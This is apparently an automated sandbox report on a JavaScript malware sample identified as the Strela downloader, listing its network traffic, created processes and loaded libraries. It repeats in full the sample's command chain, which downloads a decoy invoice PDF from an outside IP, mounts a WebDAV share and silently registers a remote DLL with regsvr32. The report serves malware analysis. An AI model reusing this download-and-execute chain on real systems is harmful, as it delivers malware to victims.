Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49755

Source: global traffic

TCP traffic: 192.168.2.10:49755 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:52170 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49738 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1351643839.000002762B823000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1414741820.0000028532D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1414741820.0000028532DD1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1414741820.0000028532DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1414741820.0000028532DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000007.00000002.1414741820.0000028532D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.2637050546.000001C2C1C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1432183608.000001C2C1B30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7464, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 12621132703258916868.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uchn5kdp.sjd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12621132703258916868.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,1866597272074241838,1758888872078513617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,1866597272074241838,1758888872078513617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
